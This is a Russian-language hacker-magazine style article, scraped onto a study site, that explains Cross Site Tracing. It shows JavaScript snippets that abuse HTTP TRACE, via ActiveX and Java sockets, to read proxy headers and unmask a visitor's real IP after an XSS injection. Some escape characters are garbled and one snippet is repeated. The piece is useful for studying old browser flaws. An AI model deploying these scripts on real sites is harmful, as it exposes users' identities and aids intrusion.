Студопедия
Главная страница | Контакты | Случайная страница

АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатика
ИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханика
ОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторика
СоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансы
ХимияЧерчениеЭкологияЭкономикаЭлектроника

Cross Site Tracing

Читайте также:
  1. Applause rolls across the universe, and she bows.
  2. CHAPTER 34 Behind The Screen, Lady Sanford Overhears A Secret; Across The Pisces Torrent, The Dilu Horse Carries Its Master.
  3. Chapter 7 Journey to the Cross-roads
  4. Chapter 7 JOURNEY TO THE CROSS-ROADS
  5. CHAPTER 7 Shannon-Yonker Fights Northrop-Kaminski At The River Turquoise; Kinsey-Estrada Attacks Bambury-Lewis Across The Great River.
  6. CHAPTER 75 Yale-Perez Has A Scraped-Bone Surgery; Dabney-Prager In White Robe Crosses The River.
  7. Come round, not run out of, come across, look forward to, look for, come back, take after
  8. Cross-Section of the Placenta
  9. Do the crossword

Вернемся к заголовкам X-Forwarded-For и Via. Бывают такие случаи, что хакер не имеет возможности использовать PHP (или любой другой скрипт, на стороне сервере). Такое может произойти если он внедряет код на чужой сайт через ХSS, а формировать запросы к посторонним адресам не является возможным. В этой ситуации единственное доступное средство для хакера – JavaScript.

Атакующий может использовать объект XmlHttpConnection для того чтобы делать POST и GET запросы на взломанный им сервер. У него также есть возможность добавлять свои заголовки в запрос, но X-Forwarded-For и Via, генерируются прокси-сервером, а поэтому на момент подключения они неизвестны, и доступны только веб-серверу. Как же узнать, какие данные получает сервер? Ответ на этот вопрос, лежит в документации HTTP протокола. Как описано в стандарте, помимо методов POST и GET, существуют и другие. Некоторые из них можно встретить лишь на бумаге, но есть и такие которые могу помочь нам с решением данной задачи.

Для диагностических целей, консорциумом был утвержден метод TRACE. Если сервер получает TRACE запрос, он должен вернуть его клиенту как ответ. Использование этого метода в хакерских целях получила название XST (Cross site Tracing), который изначально использовался для чтения данных Cookie с флагом httpOnly. Хакер уже писал об этом и вы можете самостоятельно с ней разобраться. До недавнего времени считалось, что уже нет возможности к его применению. Но в январе 2006 года, Amit Klein опубликовал в Интернете пример его успешного использования:

<script>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("rnTRACE","/",false);

x.setRequestHeader("Max-Forwards","0");

x.send();

alert(x.responseText);

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("rnTRACE","/",false);

x.setRequestHeader("Max-Forwards","0");

x.send();

alert(x.responseText);

</script>

 

В результате, responseText, содержит полный текст нашего запроса, который можно легко извлечь, чтобы получить исключительно нужные нам значения:

var headers = x.split('n');

 

for(header in headers)

{

var breakAt = headers[header].indexOf(':');

var fieldName = headers[header].substring(0, breakAt);

var fieldValue = headers[header].substring(breakAt+1, headers[header].length);

 

headers[fieldName] = fieldValue;

}

 

alert(headers['X-Forwarded-For']);

Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки, и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах, только Ява позволяет осуществить TRACE запросы. Недавно Anurag Agarwal, написал пример для Firefox, использующий java.net.socket, для трассировки запроса:

var l = document.location;

var host =l.host.toString();

var port = 80;

var addr = new java.net.InetAddress.getByName(host);

var socket = new java.net.Socket(addr,port);

var wr =

new java.io.BufferedWriter(

new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8")

);

var rd = new java.io.BufferedReader(

new java.io.InputStreamReader(socket.getInputStream())

);

 

wr.write("TRACE / HTTP/1.1 n");

wr.write("Host: " + host + "n");

wr.write("nr");wr.flush();

var lines = "";

while ((str = rd.readLine())!= null)

{ lines += str + "n"; }

alert(lines);

wr.close();

rd.close();

socket.close();

Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via) атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?




Дата добавления: 2015-09-11; просмотров: 69 | Поможем написать вашу работу | Нарушение авторских прав

Внешний адрес | Маршрут | Вплив забруднення повітря на органом людини | Хімічні властивості | Завдання |


lektsii.net - Лекции.Нет - 2014-2025 год. (0.011 сек.) Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав